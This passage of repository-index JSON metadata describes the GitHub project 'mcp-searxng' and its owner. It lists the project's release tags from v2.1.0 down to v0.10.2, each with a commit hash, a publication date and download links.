itHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"ihor-sokoliuk","name":"Ihor Sokoliuk","uuid":"17313213","kind":"user","description":"Staff Engineer · Agentic AI \u0026 MCP servers · Distributed Systems · Python / Go","email":"","website":"https://linkedin.com/in/ihorsokoliuk","location":"Austin, TX","twitter":null,"company":"Grid Dynamics","icon_url":"https://avatars.githubusercontent.com/u/17313213?u=c412adec9c62902adaea814ee18bf5267c25ea80\u0026v=4","repositories_count":15,"last_synced_at":"2026-10-10T20:44:56.885Z","metadata":{"has_sponsors_listing":false,"funding":null},"html_url":"https://github.com/ihor-sokoliuk","funding_links":[],"total_stars":1276,"followers":17,"following":1,"created_at":"2024-12-30T22:27:30.363Z","updated_at":"2026-10-10T20:44:56.903Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ihor-sokoliuk","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ihor-sokoliuk/repositories"},"tags":[{"name":"v2.1.0","sha":"317c85c986177258fa2960142477f806d3a04b2b","kind":"commit","published_at":"2026-08-25T17:57:45.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v2.1.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v2.1.0/manifests"},{"name":"v2.0.0","sha":"c80b83d9437738c7fa2a027b4b113de89c7db448","kind":"commit","published_at":"2026-08-21T15:48:49.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v2.0.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v2.0.0/manifests"},{"name":"v1.16.0","sha":"02ed57341b482b4d0430d728709c9ebf43bac82f","kind":"commit","published_at":"2026-08-20T00:35:53.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.16.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.16.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.16.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.16.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.16.0/manifests"},{"name":"v1.15.0","sha":"1046b789bf55349421b148fd0630da0124702d28","kind":"commit","published_at":"2026-08-11T14:34:50.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.15.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.15.0/manifests"},{"name":"v1.14.1","sha":"6cf8373c03cde21c9b590f91f4677ebf0ec1fdae","kind":"commit","published_at":"2026-08-07T03:09:34.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.14.1","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.14.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.14.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.14.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.14.1/manifests"},{"name":"v1.14.0","sha":"edd31ef3e7b475d3a3a09e3f36422daf592e61ee","kind":"commit","published_at":"2026-08-01T02:18:33.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.14.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.14.0/manifests"},{"name":"v1.13.0","sha":"0b0bcd8aab9ab9136304148c289acc24f171fc09","kind":"commit","published_at":"2026-07-30T23:24:10.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.13.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.13.0/manifests"},{"name":"v1.12.1","sha":"850af5c0da7193c0d3657b0fb6db56c1bbe91099","kind":"commit","published_at":"2026-07-29T02:48:48.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.12.1","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.12.1/manifests"},{"name":"v1.12.0","sha":"cf545d041cf3471e9522ee7bb2bc6bbdd59d5d18","kind":"commit","published_at":"2026-07-26T00:16:33.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.12.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.12.0/manifests"},{"name":"v1.11.1","sha":"fca8493e124c5fc4dcfa3c107b73fb46efa14210","kind":"commit","published_at":"2026-07-14T16:57:37.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.11.1","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.11.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.11.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.11.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.11.1/manifests"},{"name":"v1.11.0","sha":"e47e4190b3c7b7f1913e9339029945a9e7c514b8","kind":"commit","published_at":"2026-07-07T04:48:34.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.11.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.11.0/manifests"},{"name":"v1.10.1","sha":"755e19c4f0a3278a2f985b7a0db440230d59be63","kind":"commit","published_at":"2026-07-04T18:41:44.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.10.1","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.10.1/manifests"},{"name":"v1.10.0","sha":"e499816b1bceb5984445aa4ae1dde156d55b3ece","kind":"commit","published_at":"2026-07-03T22:54:27.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.10.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.10.0/manifests"},{"name":"v1.9.0","sha":"5652aceb7e8742f0c6d718a88844fbbef3b7ed2b","kind":"commit","published_at":"2026-07-02T21:36:51.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.9.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.9.0/manifests"},{"name":"v1.8.0","sha":"a20b5c9711b8f0ba24d9a054f113d0108881dc86","kind":"commit","published_at":"2026-06-23T19:39:55.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.8.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.8.0/manifests"},{"name":"v1.7.2","sha":"3bc16c80869b81b91dbe6d63c27ef46acd9add51","kind":"commit","published_at":"2026-06-21T00:46:51.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.7.2","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.7.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.7.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.7.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.7.2/manifests"},{"name":"v1.7.1","sha":"2f5768e5be4d8102f9ce805e8a9105e33eb1795b","kind":"commit","published_at":"2026-06-18T21:35:58.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.7.1","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.7.1/manifests"},{"name":"v1.7.0","sha":"7cc1eacbb28056d34d1a3665a8e7201590e14f0a","kind":"commit","published_at":"2026-06-18T17:26:21.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.7.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.7.0/manifests"},{"name":"v1.6.0","sha":"0d9c5ade5b8966f8cefc6e473b4a3ad0b4f431fb","kind":"commit","published_at":"2026-06-16T20:55:47.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.6.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.6.0/manifests"},{"name":"v1.5.0","sha":"381d4f8e0494f2bbec2063ce6907be35b257c224","kind":"commit","published_at":"2026-06-12T21:09:20.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.5.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.5.0/manifests"},{"name":"v1.4.0","sha":"fe943ce3234201d4cc6050d38eb60fd06e112dcc","kind":"commit","published_at":"2026-06-12T03:11:32.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.4.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.4.0/manifests"},{"name":"v1.3.4","sha":"e7296d4752eeb1c406240ce5c2ab632575fc3a90","kind":"commit","published_at":"2026-06-11T20:42:08.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.3.4","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.3.4/manifests"},{"name":"v1.3.3","sha":"95d664cc725fd473b1fd910776c6afcd974d3670","kind":"commit","published_at":"2026-06-10T21:18:27.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.3.3","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.3.3/manifests"},{"name":"v1.3.2","sha":"89ae270965232411ed9d14527c5ec8260f46eaf9","kind":"commit","published_at":"2026-06-09T22:29:55.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.3.2","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.3.2/manifests"},{"name":"v1.3.1","sha":"08eb78e6676267cccdea509592bfa8429f836f23","kind":"commit","published_at":"2026-06-09T05:13:32.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.3.1","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.3.1/manifests"},{"name":"v1.3.0","sha":"da50d66379260cbe02269b36f284cbfb168f7dd8","kind":"commit","published_at":"2026-06-09T05:03:11.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.3.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.3.0/manifests"},{"name":"v1.2.1","sha":"75bc25d27f01fe1f577c4c4a13e6e340f4d81ff1","kind":"commit","published_at":"2026-06-07T22:01:55.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.2.1","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.2.1/manifests"},{"name":"v1.2.0","sha":"da4d43b5123dae694d6bd9c67b8ab2f19ff23cd1","kind":"commit","published_at":"2026-06-07T20:16:38.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.2.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.2.0/manifests"},{"name":"v1.1.1","sha":"ca09dc23829117fe5f75fcd680427c34c47191ea","kind":"commit","published_at":"2026-06-05T18:36:12.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.1.1","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.1.1/manifests"},{"name":"v1.1.0","sha":"b1c23277c3a38d3614d2c6ca07b0a68a25e1d41d","kind":"commit","published_at":"2026-06-03T18:54:12.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.1.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.1.0/manifests"},{"name":"v1.0.5","sha":"20bc632d5d87d3289798c3f6803b7f2c02ebd5b9","kind":"commit","published_at":"2026-05-25T23:46:11.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.0.5","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.0.5/manifests"},{"name":"v1.0.4","sha":"65b0cb16cded0f8fa44109a11710d30e0bbe99a3","kind":"commit","published_at":"2026-05-23T19:49:37.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.0.4","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.0.4/manifests"},{"name":"v1.0.3","sha":"5927fae2c774f73721efd88066d0e53bc7722fbb","kind":"commit","published_at":"2026-04-05T15:26:11.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.0.3","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.0.3/manifests"},{"name":"v1.0.2","sha":"4edc3d2e6eb902bb7ee75784f5ddda1c6cfc7a56","kind":"commit","published_at":"2026-04-01T22:36:43.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.0.2","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.0.2/manifests"},{"name":"v1.0.1","sha":"ee20bfcbdc008e64c80268dc307a401595efba85","kind":"commit","published_at":"2026-04-01T22:00:42.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.0.1","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.0.1/manifests"},{"name":"v1.0.0","sha":"c920a349b4353f848e2da5f223f45388a20ea20c","kind":"commit","published_at":"2026-04-01T21:53:25.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.0.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.0.0/manifests"},{"name":"v0.10.5","sha":"7cceda24f2967ea2cbe646ddd6b8ebe7a199344a","kind":"commit","published_at":"2026-04-01T06:38:52.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.10.5","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.10.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.10.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.10.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.10.5/manifests"},{"name":"v0.10.4","sha":"cf52cbd316e6bdba9d164542e69a34e5f102fa1a","kind":"commit","published_at":"2026-04-01T06:34:28.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.10.4","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.10.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.10.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.10.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.10.4/manifests"},{"name":"v0.10.3","sha":"563661ce5be002a8a25b147b70f7041667f0be7a","kind":"commit","published_at":"2026-04-01T06:21:07.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.10.3","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.10.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.10.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.10.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.10.3/manifests"},{"name":"v0.10.2","sha":"e3e6